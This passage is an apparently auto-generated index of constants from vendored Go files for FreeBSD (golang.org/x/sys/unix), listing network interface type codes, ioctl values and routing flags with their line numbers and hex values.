  constant IFT_IEEE8023ADLAG (line 98) | IFT_IEEE8023ADLAG                 = 0xa1
  constant IFT_IFGSN (line 99) | IFT_IFGSN                         = 0x91
  constant IFT_IMT (line 100) | IFT_IMT                           = 0xbe
  constant IFT_INTERLEAVE (line 101) | IFT_INTERLEAVE                    = 0x7c
  constant IFT_IP (line 102) | IFT_IP                            = 0x7e
  constant IFT_IPFORWARD (line 103) | IFT_IPFORWARD                     = 0x8e
  constant IFT_IPOVERATM (line 104) | IFT_IPOVERATM                     = 0x72
  constant IFT_IPOVERCDLC (line 105) | IFT_IPOVERCDLC                    = 0x6d
  constant IFT_IPOVERCLAW (line 106) | IFT_IPOVERCLAW                    = 0x6e
  constant IFT_IPSWITCH (line 107) | IFT_IPSWITCH                      = 0x4e
  constant IFT_IPXIP (line 108) | IFT_IPXIP                         = 0xf9
  constant IFT_ISDN (line 109) | IFT_ISDN                          = 0x3f
  constant IFT_ISDNBASIC (line 110) | IFT_ISDNBASIC                     = 0x14
  constant IFT_ISDNPRIMARY (line 111) | IFT_ISDNPRIMARY                   = 0x15
  constant IFT_ISDNS (line 112) | IFT_ISDNS                         = 0x4b
  constant IFT_ISDNU (line 113) | IFT_ISDNU                         = 0x4c
  constant IFT_ISO88022LLC (line 114) | IFT_ISO88022LLC                   = 0x29
  constant IFT_ISO88023 (line 115) | IFT_ISO88023                      = 0x7
  constant IFT_ISO88024 (line 116) | IFT_ISO88024                      = 0x8
  constant IFT_ISO88025 (line 117) | IFT_ISO88025                      = 0x9
  constant IFT_ISO88025CRFPINT (line 118) | IFT_ISO88025CRFPINT               = 0x62
  constant IFT_ISO88025DTR (line 119) | IFT_ISO88025DTR                   = 0x56
  constant IFT_ISO88025FIBER (line 120) | IFT_ISO88025FIBER                 = 0x73
  constant IFT_ISO88026 (line 121) | IFT_ISO88026                      = 0xa
  constant IFT_ISUP (line 122) | IFT_ISUP                          = 0xb3
  constant IFT_L3IPXVLAN (line 123) | IFT_L3IPXVLAN                     = 0x89
  constant IFT_LAPB (line 124) | IFT_LAPB                          = 0x10
  constant IFT_LAPD (line 125) | IFT_LAPD                          = 0x4d
  constant IFT_LAPF (line 126) | IFT_LAPF                          = 0x77
  constant IFT_LOCALTALK (line 127) | IFT_LOCALTALK                     = 0x2a
  constant IFT_LOOP (line 128) | IFT_LOOP                          = 0x18
  constant IFT_MEDIAMAILOVERIP (line 129) | IFT_MEDIAMAILOVERIP               = 0x8b
  constant IFT_MFSIGLINK (line 130) | IFT_MFSIGLINK                     = 0xa7
  constant IFT_MIOX25 (line 131) | IFT_MIOX25                        = 0x26
  constant IFT_MODEM (line 132) | IFT_MODEM                         = 0x30
  constant IFT_MPC (line 133) | IFT_MPC                           = 0x71
  constant IFT_MPLS (line 134) | IFT_MPLS                          = 0xa6
  constant IFT_MPLSTUNNEL (line 135) | IFT_MPLSTUNNEL                    = 0x96
  constant IFT_MSDSL (line 136) | IFT_MSDSL                         = 0x8f
  constant IFT_MVL (line 137) | IFT_MVL                           = 0xbf
  constant IFT_MYRINET (line 138) | IFT_MYRINET                       = 0x63
  constant IFT_NFAS (line 139) | IFT_NFAS                          = 0xaf
  constant IFT_NSIP (line 140) | IFT_NSIP                          = 0x1b
  constant IFT_OPTICALCHANNEL (line 141) | IFT_OPTICALCHANNEL                = 0xc3
  constant IFT_OPTICALTRANSPORT (line 142) | IFT_OPTICALTRANSPORT              = 0xc4
  constant IFT_OTHER (line 143) | IFT_OTHER                         = 0x1
  constant IFT_P10 (line 144) | IFT_P10                           = 0xc
  constant IFT_P80 (line 145) | IFT_P80                           = 0xd
  constant IFT_PARA (line 146) | IFT_PARA                          = 0x22
  constant IFT_PFLOG (line 147) | IFT_PFLOG                         = 0xf6
  constant IFT_PFSYNC (line 148) | IFT_PFSYNC                        = 0xf7
  constant IFT_PLC (line 149) | IFT_PLC                           = 0xae
  constant IFT_POS (line 150) | IFT_POS                           = 0xab
  constant IFT_PPPMULTILINKBUNDLE (line 151) | IFT_PPPMULTILINKBUNDLE            = 0x6c
  constant IFT_PROPBWAP2MP (line 152) | IFT_PROPBWAP2MP                   = 0xb8
  constant IFT_PROPCNLS (line 153) | IFT_PROPCNLS                      = 0x59
  constant IFT_PROPDOCSWIRELESSDOWNSTREAM (line 154) | IFT_PROPDOCSWIRELESSDOWNSTREAM    = 0xb5
  constant IFT_PROPDOCSWIRELESSMACLAYER (line 155) | IFT_PROPDOCSWIRELESSMACLAYER      = 0xb4
  constant IFT_PROPDOCSWIRELESSUPSTREAM (line 156) | IFT_PROPDOCSWIRELESSUPSTREAM      = 0xb6
  constant IFT_PROPMUX (line 157) | IFT_PROPMUX                       = 0x36
  constant IFT_PROPWIRELESSP2P (line 158) | IFT_PROPWIRELESSP2P               = 0x9d
  constant IFT_PTPSERIAL (line 159) | IFT_PTPSERIAL                     = 0x16
  constant IFT_PVC (line 160) | IFT_PVC                           = 0xf1
  constant IFT_QLLC (line 161) | IFT_QLLC                          = 0x44
  constant IFT_RADIOMAC (line 162) | IFT_RADIOMAC                      = 0xbc
  constant IFT_RADSL (line 163) | IFT_RADSL                         = 0x5f
  constant IFT_REACHDSL (line 164) | IFT_REACHDSL                      = 0xc0
  constant IFT_RFC1483 (line 165) | IFT_RFC1483                       = 0x9f
  constant IFT_RS232 (line 166) | IFT_RS232                         = 0x21
  constant IFT_RSRB (line 167) | IFT_RSRB                          = 0x4f
  constant IFT_SDLC (line 168) | IFT_SDLC                          = 0x11
  constant IFT_SDSL (line 169) | IFT_SDSL                          = 0x60
  constant IFT_SHDSL (line 170) | IFT_SHDSL                         = 0xa9
  constant IFT_SIP (line 171) | IFT_SIP                           = 0x1f
  constant IFT_SLIP (line 172) | IFT_SLIP                          = 0x1c
  constant IFT_SMDSDXI (line 173) | IFT_SMDSDXI                       = 0x2b
  constant IFT_SMDSICIP (line 174) | IFT_SMDSICIP                      = 0x34
  constant IFT_SONET (line 175) | IFT_SONET                         = 0x27
  constant IFT_SONETOVERHEADCHANNEL (line 176) | IFT_SONETOVERHEADCHANNEL          = 0xb9
  constant IFT_SONETPATH (line 177) | IFT_SONETPATH                     = 0x32
  constant IFT_SONETVT (line 178) | IFT_SONETVT                       = 0x33
  constant IFT_SRP (line 179) | IFT_SRP                           = 0x97
  constant IFT_SS7SIGLINK (line 180) | IFT_SS7SIGLINK                    = 0x9c
  constant IFT_STACKTOSTACK (line 181) | IFT_STACKTOSTACK                  = 0x6f
  constant IFT_STARLAN (line 182) | IFT_STARLAN                       = 0xb
  constant IFT_STF (line 183) | IFT_STF                           = 0xd7
  constant IFT_T1 (line 184) | IFT_T1                            = 0x12
  constant IFT_TDLC (line 185) | IFT_TDLC                          = 0x74
  constant IFT_TERMPAD (line 186) | IFT_TERMPAD                       = 0x5b
  constant IFT_TR008 (line 187) | IFT_TR008                         = 0xb0
  constant IFT_TRANSPHDLC (line 188) | IFT_TRANSPHDLC                    = 0x7b
  constant IFT_TUNNEL (line 189) | IFT_TUNNEL                        = 0x83
  constant IFT_ULTRA (line 190) | IFT_ULTRA                         = 0x1d
  constant IFT_USB (line 191) | IFT_USB                           = 0xa0
  constant IFT_V11 (line 192) | IFT_V11                           = 0x40
  constant IFT_V35 (line 193) | IFT_V35                           = 0x2d
  constant IFT_V36 (line 194) | IFT_V36                           = 0x41
  constant IFT_V37 (line 195) | IFT_V37                           = 0x78
  constant IFT_VDSL (line 196) | IFT_VDSL                          = 0x61
  constant IFT_VIRTUALIPADDRESS (line 197) | IFT_VIRTUALIPADDRESS              = 0x70
  constant IFT_VOICEEM (line 198) | IFT_VOICEEM                       = 0x64
  constant IFT_VOICEENCAP (line 199) | IFT_VOICEENCAP                    = 0x67
  constant IFT_VOICEFXO (line 200) | IFT_VOICEFXO                      = 0x65
  constant IFT_VOICEFXS (line 201) | IFT_VOICEFXS                      = 0x66
  constant IFT_VOICEOVERATM (line 202) | IFT_VOICEOVERATM                  = 0x98
  constant IFT_VOICEOVERFRAMERELAY (line 203) | IFT_VOICEOVERFRAMERELAY           = 0x99
  constant IFT_VOICEOVERIP (line 204) | IFT_VOICEOVERIP                   = 0x68
  constant IFT_X213 (line 205) | IFT_X213                          = 0x5d
  constant IFT_X25 (line 206) | IFT_X25                           = 0x5
  constant IFT_X25DDN (line 207) | IFT_X25DDN                        = 0x4
  constant IFT_X25HUNTGROUP (line 208) | IFT_X25HUNTGROUP                  = 0x7a
  constant IFT_X25MLP (line 209) | IFT_X25MLP                        = 0x79
  constant IFT_X25PLE (line 210) | IFT_X25PLE                        = 0x28
  constant IFT_XETHER (line 211) | IFT_XETHER                        = 0x1a
  constant IPPROTO_MAXID (line 212) | IPPROTO_MAXID                     = 0x34
  constant IPV6_FAITH (line 213) | IPV6_FAITH                        = 0x1d
  constant IPV6_MIN_MEMBERSHIPS (line 214) | IPV6_MIN_MEMBERSHIPS              = 0x1f
  constant IP_FAITH (line 215) | IP_FAITH                          = 0x16
  constant IP_MAX_SOURCE_FILTER (line 216) | IP_MAX_SOURCE_FILTER              = 0x400
  constant IP_MIN_MEMBERSHIPS (line 217) | IP_MIN_MEMBERSHIPS                = 0x1f
  constant MAP_NORESERVE (line 218) | MAP_NORESERVE                     = 0x40
  constant MAP_RENAME (line 219) | MAP_RENAME                        = 0x20
  constant NET_RT_MAXID (line 220) | NET_RT_MAXID                      = 0x6
  constant RTF_PRCLONING (line 221) | RTF_PRCLONING                     = 0x10000
  constant RTM_OLDADD (line 222) | RTM_OLDADD                        = 0x9
  constant RTM_OLDDEL (line 223) | RTM_OLDDEL                        = 0xa
  constant RT_CACHING_CONTEXT (line 224) | RT_CACHING_CONTEXT                = 0x1
  constant RT_NORTREF (line 225) | RT_NORTREF                        = 0x2
  constant SIOCADDRT (line 226) | SIOCADDRT                         = 0x8030720a
  constant SIOCALIFADDR (line 227) | SIOCALIFADDR                      = 0x8118691b
  constant SIOCDELRT (line 228) | SIOCDELRT                         = 0x8030720b
  constant SIOCDLIFADDR (line 229) | SIOCDLIFADDR                      = 0x8118691d
  constant SIOCGLIFADDR (line 230) | SIOCGLIFADDR                      = 0xc118691c
  constant SIOCGLIFPHYADDR (line 231) | SIOCGLIFPHYADDR                   = 0xc118694b
  constant SIOCSLIFPHYADDR (line 232) | SIOCSLIFPHYADDR                   = 0x8118694a

FILE: vendor/golang.org/x/sys/unix/errors_freebsd_amd64.go
  constant DLT_HHDLC (line 11) | DLT_HHDLC                         = 0x79
  constant IFF_SMART (line 12) | IFF_SMART                         = 0x20
  constant IFT_1822 (line 13) | IFT_1822                          = 0x2
  constant IFT_A12MPPSWITCH (line 14) | IFT_A12MPPSWITCH                  = 0x82
  constant IFT_AAL2 (line 15) | IFT_AAL2                          = 0xbb
  constant IFT_AAL5 (line 16) | IFT_AAL5                          = 0x31
  constant IFT_ADSL (line 17) | IFT_ADSL                          = 0x5e
  constant IFT_AFLANE8023 (line 18) | IFT_AFLANE8023                    = 0x3b
  constant IFT_AFLANE8025 (line 19) | IFT_AFLANE8025                    = 0x3c
  constant IFT_ARAP (line 20) | IFT_ARAP                          = 0x58
  constant IFT_ARCNET (line 21) | IFT_ARCNET                        = 0x23
  constant IFT_ARCNETPLUS (line 22) | IFT_ARCNETPLUS                    = 0x24
  constant IFT_ASYNC (line 23) | IFT_ASYNC                         = 0x54
  constant IFT_ATM (line 24) | IFT_ATM                           = 0x25
  constant IFT_ATMDXI (line 25) | IFT_ATMDXI                        = 0x69
  constant IFT_ATMFUNI (line 26) | IFT_ATMFUNI                       = 0x6a
  constant IFT_ATMIMA (line 27) | IFT_ATMIMA                        = 0x6b
  constant IFT_ATMLOGICAL (line 28) | IFT_ATMLOGICAL                    = 0x50
  constant IFT_ATMRADIO (line 29) | IFT_ATMRADIO                      = 0xbd
  constant IFT_ATMSUBINTERFACE (line 30) | IFT_ATMSUBINTERFACE               = 0x86
  constant IFT_ATMVCIENDPT (line 31) | IFT_ATMVCIENDPT                   = 0xc2
  constant IFT_ATMVIRTUAL (line 32) | IFT_ATMVIRTUAL                    = 0x95
  constant IFT_BGPPOLICYACCOUNTING (line 33) | IFT_BGPPOLICYACCOUNTING           = 0xa2
  constant IFT_BSC (line 34) | IFT_BSC                           = 0x53
  constant IFT_CCTEMUL (line 35) | IFT_CCTEMUL                       = 0x3d
  constant IFT_CEPT (line 36) | IFT_CEPT                          = 0x13
  constant IFT_CES (line 37) | IFT_CES                           = 0x85
  constant IFT_CHANNEL (line 38) | IFT_CHANNEL                       = 0x46
  constant IFT_CNR (line 39) | IFT_CNR                           = 0x55
  constant IFT_COFFEE (line 40) | IFT_COFFEE                        = 0x84
  constant IFT_COMPOSITELINK (line 41) | IFT_COMPOSITELINK                 = 0x9b
  constant IFT_DCN (line 42) | IFT_DCN                           = 0x8d
  constant IFT_DIGITALPOWERLINE (line 43) | IFT_DIGITALPOWERLINE              = 0x8a
  constant IFT_DIGITALWRAPPEROVERHEADCHANNEL (line 44) | IFT_DIGITALWRAPPEROVERHEADCHANNEL = 0xba
  constant IFT_DLSW (line 45) | IFT_DLSW                          = 0x4a
  constant IFT_DOCSCABLEDOWNSTREAM (line 46) | IFT_DOCSCABLEDOWNSTREAM           = 0x80
  constant IFT_DOCSCABLEMACLAYER (line 47) | IFT_DOCSCABLEMACLAYER             = 0x7f
  constant IFT_DOCSCABLEUPSTREAM (line 48) | IFT_DOCSCABLEUPSTREAM             = 0x81
  constant IFT_DS0 (line 49) | IFT_DS0                           = 0x51
  constant IFT_DS0BUNDLE (line 50) | IFT_DS0BUNDLE                     = 0x52
  constant IFT_DS1FDL (line 51) | IFT_DS1FDL                        = 0xaa
  constant IFT_DS3 (line 52) | IFT_DS3                           = 0x1e
  constant IFT_DTM (line 53) | IFT_DTM                           = 0x8c
  constant IFT_DVBASILN (line 54) | IFT_DVBASILN                      = 0xac
  constant IFT_DVBASIOUT (line 55) | IFT_DVBASIOUT                     = 0xad
  constant IFT_DVBRCCDOWNSTREAM (line 56) | IFT_DVBRCCDOWNSTREAM              = 0x93
  constant IFT_DVBRCCMACLAYER (line 57) | IFT_DVBRCCMACLAYER                = 0x92
  constant IFT_DVBRCCUPSTREAM (line 58) | IFT_DVBRCCUPSTREAM                = 0x94
  constant IFT_ENC (line 59) | IFT_ENC                           = 0xf4
  constant IFT_EON (line 60) | IFT_EON                           = 0x19
  constant IFT_EPLRS (line 61) | IFT_EPLRS                         = 0x57
  constant IFT_ESCON (line 62) | IFT_ESCON                         = 0x49
  constant IFT_ETHER (line 63) | IFT_ETHER                         = 0x6
  constant IFT_FAITH (line 64) | IFT_FAITH                         = 0xf2
  constant IFT_FAST (line 65) | IFT_FAST                          = 0x7d
  constant IFT_FASTETHER (line 66) | IFT_FASTETHER                     = 0x3e
  constant IFT_FASTETHERFX (line 67) | IFT_FASTETHERFX                   = 0x45
  constant IFT_FDDI (line 68) | IFT_FDDI                          = 0xf
  constant IFT_FIBRECHANNEL (line 69) | IFT_FIBRECHANNEL                  = 0x38
  constant IFT_FRAMERELAYINTERCONNECT (line 70) | IFT_FRAMERELAYINTERCONNECT        = 0x3a
  constant IFT_FRAMERELAYMPI (line 71) | IFT_FRAMERELAYMPI                 = 0x5c
  constant IFT_FRDLCIENDPT (line 72) | IFT_FRDLCIENDPT                   = 0xc1
  constant IFT_FRELAY (line 73) | IFT_FRELAY                        = 0x20
  constant IFT_FRELAYDCE (line 74) | IFT_FRELAYDCE                     = 0x2c
  constant IFT_FRF16MFRBUNDLE (line 75) | IFT_FRF16MFRBUNDLE                = 0xa3
  constant IFT_FRFORWARD (line 76) | IFT_FRFORWARD                     = 0x9e
  constant IFT_G703AT2MB (line 77) | IFT_G703AT2MB                     = 0x43
  constant IFT_G703AT64K (line 78) | IFT_G703AT64K                     = 0x42
  constant IFT_GIF (line 79) | IFT_GIF                           = 0xf0
  constant IFT_GIGABITETHERNET (line 80) | IFT_GIGABITETHERNET               = 0x75
  constant IFT_GR303IDT (line 81) | IFT_GR303IDT                      = 0xb2
  constant IFT_GR303RDT (line 82) | IFT_GR303RDT                      = 0xb1
  constant IFT_H323GATEKEEPER (line 83) | IFT_H323GATEKEEPER                = 0xa4
  constant IFT_H323PROXY (line 84) | IFT_H323PROXY                     = 0xa5
  constant IFT_HDH1822 (line 85) | IFT_HDH1822                       = 0x3
  constant IFT_HDLC (line 86) | IFT_HDLC                          = 0x76
  constant IFT_HDSL2 (line 87) | IFT_HDSL2                         = 0xa8
  constant IFT_HIPERLAN2 (line 88) | IFT_HIPERLAN2                     = 0xb7
  constant IFT_HIPPI (line 89) | IFT_HIPPI                         = 0x2f
  constant IFT_HIPPIINTERFACE (line 90) | IFT_HIPPIINTERFACE                = 0x39
  constant IFT_HOSTPAD (line 91) | IFT_HOSTPAD                       = 0x5a
  constant IFT_HSSI (line 92) | IFT_HSSI                          = 0x2e
  constant IFT_HY (line 93) | IFT_HY                            = 0xe
  constant IFT_IBM370PARCHAN (line 94) | IFT_IBM370PARCHAN                 = 0x48
  constant IFT_IDSL (line 95) | IFT_IDSL                          = 0x9a
  constant IFT_IEEE80211 (line 96) | IFT_IEEE80211                     = 0x47
  constant IFT_IEEE80212 (line 97) | IFT_IEEE80212                     = 0x37
  constant IFT_IEEE8023ADLAG (line 98) | IFT_IEEE8023ADLAG                 = 0xa1
  constant IFT_IFGSN (line 99) | IFT_IFGSN                         = 0x91
  constant IFT_IMT (line 100) | IFT_IMT                           = 0xbe
  constant IFT_INTERLEAVE (line 101) | IFT_INTERLEAVE                    = 0x7c
  constant IFT_IP (line 102) | IFT_IP                            = 0x7e
  constant IFT_IPFORWARD (line 103) | IFT_IPFORWARD                     = 0x8e
  constant IFT_IPOVERATM (line 104) | IFT_IPOVERATM                     = 0x72
  constant IFT_IPOVERCDLC (line 105) | IFT_IPOVERCDLC                    = 0x6d
  constant IFT_IPOVERCLAW (line 106) | IFT_IPOVERCLAW                    = 0x6e
  constant IFT_IPSWITCH (line 107) | IFT_IPSWITCH                      = 0x4e
  constant IFT_IPXIP (line 108) | IFT_IPXIP                         = 0xf9
  constant IFT_ISDN (line 109) | IFT_ISDN                          = 0x3f
  constant IFT_ISDNBASIC (line 110) | IFT_ISDNBASIC                     = 0x14
  constant IFT_ISDNPRIMARY (line 111) | IFT_ISDNPRIMARY                   = 0x15
  constant IFT_ISDNS (line 112) | IFT_ISDNS                         = 0x4b
  constant IFT_ISDNU (line 113) | IFT_ISDNU                         = 0x4c
  constant IFT_ISO88022LLC (line 114) | IFT_ISO88022LLC                   = 0x29
  constant IFT_ISO88023 (line 115) | IFT_ISO88023                      = 0x7
  constant IFT_ISO88024 (line 116) | IFT_ISO88024                      = 0x8
  constant IFT_ISO88025 (line 117) | IFT_ISO88025                      = 0x9
  constant IFT_ISO88025CRFPINT (line 118) | IFT_ISO88025CRFPINT               = 0x62
  constant IFT_ISO88025DTR (line 119) | IFT_ISO88025DTR                   = 0x56
  constant IFT_ISO88025FIBER (line 120) | IFT_ISO88025FIBER                 = 0x73
  constant IFT_ISO88026 (line 121) | IFT_ISO88026                      = 0xa
  constant IFT_ISUP (line 122) | IFT_ISUP                          = 0xb3
  constant IFT_L3IPXVLAN (line 123) | IFT_L3IPXVLAN                     = 0x89
  constant IFT_LAPB (line 124) | IFT_LAPB                          = 0x10
  constant IFT_LAPD (line 125) | IFT_LAPD                          = 0x4d
  constant IFT_LAPF (line 126) | IFT_LAPF                          = 0x77
  constant IFT_LOCALTALK (line 127) | IFT_LOCALTALK                     = 0x2a
  constant IFT_LOOP (line 128) | IFT_LOOP                          = 0x18
  constant IFT_MEDIAMAILOVERIP (line 129) | IFT_MEDIAMAILOVERIP               = 0x8b
  constant IFT_MFSIGLINK (line 130) | IFT_MFSIGLINK                     = 0xa7
  constant IFT_MIOX25 (line 131) | IFT_MIOX25                        = 0x26
  constant IFT_MODEM (line 132) | IFT_MODEM                         = 0x30
  constant IFT_MPC (line 133) | IFT_MPC                           = 0x71
  constant IFT_MPLS (line 134) | IFT_MPLS                          = 0xa6
  constant IFT_MPLSTUNNEL (line 135) | IFT_MPLSTUNNEL                    = 0x96
  constant IFT_MSDSL (line 136) | IFT_MSDSL                         = 0x8f
  constant IFT_MVL (line 137) | IFT_MVL                           = 0xbf
  constant IFT_MYRINET (line 138) | IFT_MYRINET                       = 0x63
  constant IFT_NFAS (line 139) | IFT_NFAS                          = 0xaf
  constant IFT_NSIP (line 140) | IFT_NSIP                          = 0x1b
  constant IFT_OPTICALCHANNEL (line 141) | IFT_OPTICALCHANNEL                = 0xc3
  constant IFT_OPTICALTRANSPORT (line 142) | IFT_OPTICALTRANSPORT              = 0xc4
  constant IFT_OTHER (line 143) | IFT_OTHER                         = 0x1
  constant IFT_P10 (line 144) | IFT_P10                           = 0xc
  constant IFT_P80 (line 145) | IFT_P80                           = 0xd
  constant IFT_PARA (line 146) | IFT_PARA                          = 0x22
  constant IFT_PFLOG (line 147) | IFT_PFLOG                         = 0xf6
  constant IFT_PFSYNC (line 148) | IFT_PFSYNC                        = 0xf7
  constant IFT_PLC (line 149) | IFT_PLC                           = 0xae
  constant IFT_POS (line 150) | IFT_POS                           = 0xab
  constant IFT_PPPMULTILINKBUNDLE (line 151) | IFT_PPPMULTILINKBUNDLE            = 0x6c
  constant IFT_PROPBWAP2MP (line 152) | IFT_PROPBWAP2MP                   = 0xb8
  constant IFT_PROPCNLS (line 153) | IFT_PROPCNLS                      = 0x59
  constant IFT_PROPDOCSWIRELESSDOWNSTREAM (line 154) | IFT_PROPDOCSWIRELESSDOWNSTREAM    = 0xb5
  constant IFT_PROPDOCSWIRELESSMACLAYER (line 155) | IFT_PROPDOCSWIRELESSMACLAYER      = 0xb4
  constant IFT_PROPDOCSWIRELESSUPSTREAM (line 156) | IFT_PROPDOCSWIRELESSUPSTREAM      = 0xb6
  constant IFT_PROPMUX (line 157) | IFT_PROPMUX                       = 0x36
  constant IFT_PROPWIRELESSP2P (line 158) | IFT_PROPWIRELESSP2P               = 0x9d
  constant IFT_PTPSERIAL (line 159) | IFT_PTPSERIAL                     = 0x16
  constant IFT_PVC (line 160) | IFT_PVC                           = 0xf1
  constant IFT_QLLC (line 161) | IFT_QLLC                          = 0x44
  constant IFT_RADIOMAC (line 162) | IFT_RADIOMAC                      = 0xbc
  constant IFT_RADSL (line 163) | IFT_RADSL                         = 0x5f
  constant IFT_REACHDSL (line 164) | IFT_REACHDSL                      = 0xc0
  constant IFT_RFC1483 (line 165) | IFT_RFC1483                       = 0x9f
  constant IFT_RS232 (line 166) | IFT_RS232                         = 0x21
  constant IFT_RSRB (line 167) | IFT_RSRB                          = 0x4f
  constant IFT_SDLC (line 168) | IFT_SDLC                          = 0x11
  constant IFT_SDSL (line 169) | IFT_SDSL                          = 0x60
  constant IFT_SHDSL (line 170) | IFT_SHDSL                         = 0xa9
  constant IFT_SIP (line 171) | IFT_SIP                           = 0x1f
  constant IFT_SLIP (line 172) | IFT_SLIP                          = 0x1c
  constant IFT_SMDSDXI (line 173) | IFT_SMDSDXI                       = 0x2b
  constant IFT_SMDSICIP (line 174) | IFT_SMDSICIP                      = 0x34
  constant IFT_SONET (line 175) | IFT_SONET                         = 0x27
  constant IFT_SONETOVERHEADCHANNEL (line 176) | IFT_SONETOVERHEADCHANNEL          = 0xb9
  constant IFT_SONETPATH (line 177) | IFT_SONETPATH                     = 0x32
  constant IFT_SONETVT (line 178) | IFT_SONETVT                       = 0x33
  constant IFT_SRP (line 179) | IFT_SRP                           = 0x97
  constant IFT_SS7SIGLINK (line 180) | IFT_SS7SIGLINK                    = 0x9c
  constant IFT_STACKTOSTACK (line 181) | IFT_STACKTOSTACK                  = 0x6f
  constant IFT_STARLAN (line 182) | IFT_STARLAN                       = 0xb
  constant IFT_STF (line 183) | IFT_STF                           = 0xd7
  constant IFT_T1 (line 184) | IFT_T1                            = 0x12
  constant IFT_TDLC (line 185) | IFT_TDLC                          = 0x74
  constant IFT_TERMPAD (line 186) | IFT_TERMPAD                       = 0x5b
  constant IFT_TR008 (line 187) | IFT_TR008                         = 0xb0
  constant IFT_TRANSPHDLC (line 188) | IFT_TRANSPHDLC                    = 0x7b
  constant IFT_TUNNEL (line 189) | IFT_TUNNEL                        = 0x83
  constant IFT_ULTRA (line 190) | IFT_ULTRA                         = 0x1d
  constant IFT_USB (line 191) | IFT_USB                           = 0xa0
  constant IFT_V11 (line 192) | IFT_V11                           = 0x40
  constant IFT_V35 (line 193) | IFT_V35                           = 0x2d
  constant IFT_V36 (line 194) | IFT_V36                           = 0x41
  constant IFT_V37 (line 195) | IFT_V37                           = 0x78
  constant IFT_VDSL (line 196) | IFT_VDSL                          = 0x61
  constant IFT_VIRTUALIPADDRESS (line 197) | IFT_VIRTUALIPADDRESS              = 0x70
  constant IFT_VOICEEM (line 198) | IFT_VOICEEM                       = 0x64
  constant IFT_VOICEENCAP (line 199) | IFT_VOICEENCAP                    = 0x67
  constant IFT_VOICEFXO (line 200) | IFT_VOICEFXO                      = 0x65
  constant IFT_VOICEFXS (line 201) | IFT_VOICEFXS                      = 0x66
  constant IFT_VOICEOVERATM (line 202) | IFT_VOICEOVERATM                  = 0x98
  constant IFT_VOICEOVERFRAMERELAY (line 203) | IFT_VOICEOVERFRAMERELAY           = 0x99
  constant IFT_VOICEOVERIP (line 204) | IFT_VOICEOVERIP                   = 0x68
  constant IFT_X213 (line 205) | IFT_X213                          = 0x5d
  constant IFT_X25 (line 206) | IFT_X25                           = 0x5
  constant IFT_X25DDN (line 207) | IFT_X25DDN                        = 0x4
  constant IFT_X25HUNTGROUP (line 208) | IFT_X25HUNTGROUP                  = 0x7a
  constant IFT_X25MLP (line 209) | IFT_X25MLP                        = 0x79
  constant IFT_X25PLE (line 210) | IFT_X25PLE                        = 0x28
  constant IFT_XETHER (line 211) | IFT_XETHER                        = 0x1a
  constant IPPROTO_MAXID (line 212) | IPPROTO_MAXID                     = 0x34
  constant IPV6_FAITH (line 213) | IPV6_FAITH                        = 0x1d
  constant IPV6_MIN_MEMBERSHIPS (line 214) | IPV6_MIN_MEMBERSHIPS              = 0x1f
  constant IP_FAITH (line 215) | IP_FAITH                          = 0x16
  constant IP_MAX_SOURCE_FILTER (line 216) | IP_MAX_SOURCE_FILTER              = 0x400
  constant IP_MIN_MEMBERSHIPS (line 217) | IP_MIN_MEMBERSHIPS                = 0x1f
  constant MAP_NORESERVE (line 218) | MAP_NORESERVE                     = 0x40
  constant MAP_RENAME (line 219) | MAP_RENAME                        = 0x20
  constant NET_RT_MAXID (line 220) | NET_RT_MAXID                      = 0x6
  constant RTF_PRCLONING (line 221) | RTF_PRCLONING                     = 0x10000
  constant RTM_OLDADD (line 222) | RTM_OLDADD                        = 0x9
  constant RTM_OLDDEL (line 223) | RTM_OLDDEL                        = 0xa
  constant RT_CACHING_CONTEXT (line 224) | RT_CACHING_CONTEXT                = 0x1
  constant RT_NORTREF (line 225) | RT_NORTREF                        = 0x2
  constant SIOCADDRT (line 226) | SIOCADDRT                         = 0x8040720a
  constant SIOCALIFADDR (line 227) | SIOCALIFADDR                      = 0x8118691b
  constant SIOCDELRT (line 228) | SIOCDELRT                         = 0x8040720b
  constant SIOCDLIFADDR (line 229) | SIOCDLIFADDR                      = 0x8118691d
  constant SIOCGLIFADDR (line 230) | SIOCGLIFADDR                      = 0xc118691c
  constant SIOCGLIFPHYADDR (line 231) | SIOCGLIFPHYADDR                   = 0xc118694b
  constant SIOCSLIFPHYADDR (line 232) | SIOCSLIFPHYADDR                   = 0x8118694a

FILE: vendor/golang.org/x/sys/unix/errors_freebsd_arm.go
  constant IFT_1822 (line 8) | IFT_1822                          = 0x2
  constant IFT_A12MPPSWITCH (line 9) | IFT_A12MPPSWITCH                  = 0x82
  constant IFT_AAL2 (line 10) | IFT_AAL2                          = 0xbb
  constant IFT_AAL5 (line 11) | IFT_AAL5                          = 0x31
  constant IFT_ADSL (line 12) | IFT_ADSL                          = 0x5e
  constant IFT_AFLANE8023 (line 13) | IFT_AFLANE8023                    = 0x3b
  constant IFT_AFLANE8025 (line 14) | IFT_AFLANE8025                    = 0x3c
  constant IFT_ARAP (line 15) | IFT_ARAP                          = 0x58
  constant IFT_ARCNET (line 16) | IFT_ARCNET                        = 0x23
  constant IFT_ARCNETPLUS (line 17) | IFT_ARCNETPLUS                    = 0x24
  constant IFT_ASYNC (line 18) | IFT_ASYNC                         = 0x54
  constant IFT_ATM (line 19) | IFT_ATM                           = 0x25
  constant IFT_ATMDXI (line 20) | IFT_ATMDXI                        = 0x69
  constant IFT_ATMFUNI (line 21) | IFT_ATMFUNI                       = 0x6a
  constant IFT_ATMIMA (line 22) | IFT_ATMIMA                        = 0x6b
  constant IFT_ATMLOGICAL (line 23) | IFT_ATMLOGICAL                    = 0x50
  constant IFT_ATMRADIO (line 24) | IFT_ATMRADIO                      = 0xbd
  constant IFT_ATMSUBINTERFACE (line 25) | IFT_ATMSUBINTERFACE               = 0x86
  constant IFT_ATMVCIENDPT (line 26) | IFT_ATMVCIENDPT                   = 0xc2
  constant IFT_ATMVIRTUAL (line 27) | IFT_ATMVIRTUAL                    = 0x95
  constant IFT_BGPPOLICYACCOUNTING (line 28) | IFT_BGPPOLICYACCOUNTING           = 0xa2
  constant IFT_BSC (line 29) | IFT_BSC                           = 0x53
  constant IFT_CCTEMUL (line 30) | IFT_CCTEMUL                       = 0x3d
  constant IFT_CEPT (line 31) | IFT_CEPT                          = 0x13
  constant IFT_CES (line 32) | IFT_CES                           = 0x85
  constant IFT_CHANNEL (line 33) | IFT_CHANNEL                       = 0x46
  constant IFT_CNR (line 34) | IFT_CNR                           = 0x55
  constant IFT_COFFEE (line 35) | IFT_COFFEE                        = 0x84
  constant IFT_COMPOSITELINK (line 36) | IFT_COMPOSITELINK                 = 0x9b
